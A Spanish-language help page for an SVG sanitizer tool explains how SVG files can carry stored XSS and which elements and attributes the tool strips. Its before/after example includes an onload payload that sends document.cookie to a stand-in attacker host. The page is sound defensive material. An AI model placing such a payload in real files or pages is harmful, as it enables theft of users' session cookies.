SVG Purifier

Cómo funciona la sanitización de SVG

SVG es un formato XML, y —a diferencia de una imagen raster como PNG o JPEG— la especificación le permite llevar un elemento <script> real y atributos de evento on* (onload, onclick...), igual que HTML. Según la especificación W3C SVG 2, esos scripts se ejecutan cuando el SVG se abre directamente en una pestaña del navegador, se embebe en línea en el markup de una página, o se carga en ciertos contextos que no son <img>. Un ícono SVG subido por un usuario o descargado es entonces un vector real de XSS almacenado hasta que se sanitiza — esta herramienta elimina exactamente ese riesgo, sin condiciones:

<!-- Antes -->
<svg onload="fetch('https://evil.example/steal?c='+document.cookie)">
  <script>/* más código malicioso */</script>
  <metadata>Basura de Adobe Illustrator</metadata>
  <circle cx="50.123456" cy="50.987654" r="40" onclick="alert(1)"/>
</svg>

<!-- Después (precisión 2) -->
<svg>
  <circle cx="50.12" cy="50.99" r="40"/>
</svg>

Cada nombre de atributo se revisa sin distinguir mayúsculas buscando un prefijo on, cada elemento <script> se elimina por completo, y las URLs javascript: dentro de href/xlink:href también se eliminan — nada de eso es opcional. Todo lo demás (metadatos de editor, comentarios, espacios en blanco, precisión de coordenadas) es limpieza cosmética opcional además de eso. Las vistas previas antes/después nunca renderizan el markup pegado como DOM vivo; ambas pasan por una <img src="data:image/svg+xml;base64,...">, un contexto donde los navegadores nunca ejecutan scripts embebidos, así que la vista previa es segura incluso para markup que todavía no fue limpiado.

Preguntas frecuentes

¿Por qué un archivo SVG es un riesgo de seguridad?

SVG es XML, y la especificación permite un elemento <script> y atributos de evento on* dentro de él, igual que HTML. Si ese SVG se abre directamente en una pestaña del navegador, se embebe en línea en una página, o se referencia en ciertos contextos que no son <img>, esos scripts pueden ejecutarse — convirtiendo una función de subida de imágenes en un vector de XSS almacenado. Los archivos de una fuente no confiable (una subida de usuario, un pack de íconos descargado) siempre deberían sanitizarse primero.

¿Se puede desactivar la eliminación de <script> y atributos on*?

No. Esas dos eliminaciones siempre se ejecutan, sin ninguna opción para desactivarlas, porque son la parte realmente relevante para la seguridad de esta herramienta. Todo lo demás (metadatos, comentarios, precisión de coordenadas) es limpieza cosmética.

¿La vista previa en vivo ejecuta el SVG pegado?

No, por diseño. Tanto la vista previa "original" como la "limpia" se renderizan como una <img> usando una URI data:, nunca se inyectan en la página como markup vivo. Los navegadores nunca ejecutan scripts ni manejadores de eventos dentro de un SVG usado como origen de una imagen — así que la vista previa es segura incluso antes de que corra la sanitización.

¿Esto va a romper la apariencia de mi ícono?

No debería. El redondeo de coordenadas solo recorta precisión decimal (2 lugares por defecto), lo cual es visualmente indistinguible a cualquier tamaño normal de pantalla. Si necesitás coordenadas exactas al byte, subí la precisión en los controles.